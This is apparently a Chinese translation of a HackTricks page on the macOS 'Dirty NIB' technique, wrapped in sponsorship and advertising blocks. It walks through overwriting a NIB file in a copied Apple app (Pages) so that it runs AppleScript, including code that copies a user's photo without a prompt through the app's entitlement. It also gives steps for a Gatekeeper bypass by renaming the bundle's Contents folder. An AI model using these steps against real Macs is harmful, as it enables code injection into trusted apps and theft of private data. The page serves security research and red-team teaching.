hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md

130 lines
7.9 KiB
Markdown
Raw Normal View History

# macOS Dirty NIB
<details>
<summary><strong>零基础学习AWS黑客技术直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
**此技术摘自帖子** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)
## 基本信息
NIB文件在苹果的开发生态系统中用于**定义用户界面UI元素**及其在应用程序中的交互。这些文件是使用Interface Builder工具创建的包含**序列化对象**如窗口、按钮和文本字段这些对象在运行时加载以展示设计的UI。尽管NIB文件仍在使用中苹果已经开始推荐使用Storyboards来更直观地表示应用程序的UI流程。
{% hint style="danger" %}
此外,**NIB文件**也可以用来**运行任意命令**如果应用中的NIB文件被修改**Gatekeeper仍然允许执行该应用**,因此它们可以用来**在应用程序内运行任意命令**。
{% endhint %}
## Dirty NIB注入 <a href="#dirtynib" id="dirtynib"></a>
首先我们需要创建一个新的NIB文件我们将使用XCode来完成大部分构建工作。我们开始通过向界面添加一个对象并将类设置为NSAppleScript
<figure><img src="../../../.gitbook/assets/image (681).png" alt="" width="380"><figcaption></figcaption></figure>
对于该对象,我们需要设置初始的`source`属性,我们可以使用用户定义的运行时属性来完成:
<figure><img src="../../../.gitbook/assets/image (682).png" alt="" width="563"><figcaption></figcaption></figure>
这样就建立了我们的代码执行小工具,它将在请求时**运行AppleScript**。为了实际触发AppleScript的执行我们现在只添加一个按钮当然你可以在这方面发挥创意;)。按钮将绑定到我们刚刚创建的`Apple Script`对象,并将**调用`executeAndReturnError:`选择器**
<figure><img src="../../../.gitbook/assets/image (683).png" alt="" width="563"><figcaption></figcaption></figure>
为了测试我们将只使用Apple Script代码
```bash
set theDialogText to "PWND"
display dialog theDialogText
```
如果我们在XCode调试器中运行这个并点击按钮
<figure><img src="../../../.gitbook/assets/image (684).png" alt="" width="563"><figcaption></figcaption></figure>
有了从NIB执行任意AppleScript代码的能力我们接下来需要一个目标。让我们选择Pages作为我们的初始演示目标这当然是一个苹果应用程序理论上不应该被我们修改。
我们将首先将应用程序复制到`/tmp/`目录:
```bash
cp -a -X /Applications/Pages.app /tmp/
```
然后我们将启动应用程序以避免任何Gatekeeper问题并允许内容被缓存
```bash
open -W -g -j /Applications/Pages.app
```
在第一次启动并终止应用程序后我们需要用我们的DirtyNIB文件覆盖一个现有的NIB文件。为了演示目的我们将覆盖关于面板NIB这样我们可以控制执行过程
```bash
cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib
```
一旦我们覆盖了nib我们可以通过选择`About`菜单项来触发执行:
<figure><img src="../../../.gitbook/assets/image (685).png" alt="" width="563"><figcaption></figcaption></figure>
如果我们更仔细地观察Pages我们会发现它有一个私有权限允许访问用户的Photos
<figure><img src="../../../.gitbook/assets/image (686).png" alt="" width="479"><figcaption></figcaption></figure>
因此,我们可以通过**修改我们的AppleScript来窃取用户的照片**而不提示用户来测试我们的POC
{% code overflow="wrap" %}
```applescript
use framework "Cocoa"
use framework "Foundation"
set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"
grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1
```
{% endcode %}
{% hint style="danger" %}
[**恶意 .xib 文件执行任意代码示例。**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)
{% endhint %}
## 创建你自己的 DirtyNIB
## 启动限制
它们基本上**阻止在预期位置之外执行应用程序**,所以如果你将受到启动限制保护的应用程序复制到 `/tmp`,你将无法执行它。\
[**在这篇文章中找到更多信息**](../macos-security-protections/#launch-constraints)**。**
然而,解析文件 **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`** 时,你仍然可以找到**没有受到启动限制保护的应用程序**,因此你仍然可以**注入** **NIB** 文件到**那些**任意位置(查看前面的链接学习如何找到这些应用程序)。
## 额外保护
从 macOS Somona 开始,有一些保护措施**防止在应用程序内部写入**。然而,如果在运行你复制的二进制文件之前,你更改了 Contents 文件夹的名称,仍然可以绕过这个保护:
1.`CarPlay Simulator.app` 的副本复制到 `/tmp/`
2. 重命名 `/tmp/Carplay Simulator.app/Contents``/tmp/CarPlay Simulator.app/NotCon`
3. 启动二进制文件 `/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator` 以在 Gatekeeper 中缓存
4. 用我们的 `Dirty.nib` 文件覆盖 `NotCon/Resources/Base.lproj/MainMenu.nib`
5. 重命名为 `/tmp/CarPlay Simulator.app/Contents`
6. 再次启动 `CarPlay Simulator.app`
{% hint style="success" %}
看起来这已经不再可能,因为 macOS **阻止修改** 应用程序包内的文件。\
所以,在执行应用程序以使用 Gatekeeper 缓存之后,你将无法修改包。\
如果你更改了 Contents 目录的名称为 **NotCon**(如在漏洞中所示),然后执行应用程序的主二进制文件以使用 Gatekeeper 缓存,它将**触发错误并不会执行**。
{% endhint %}
<details>
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。**
</details>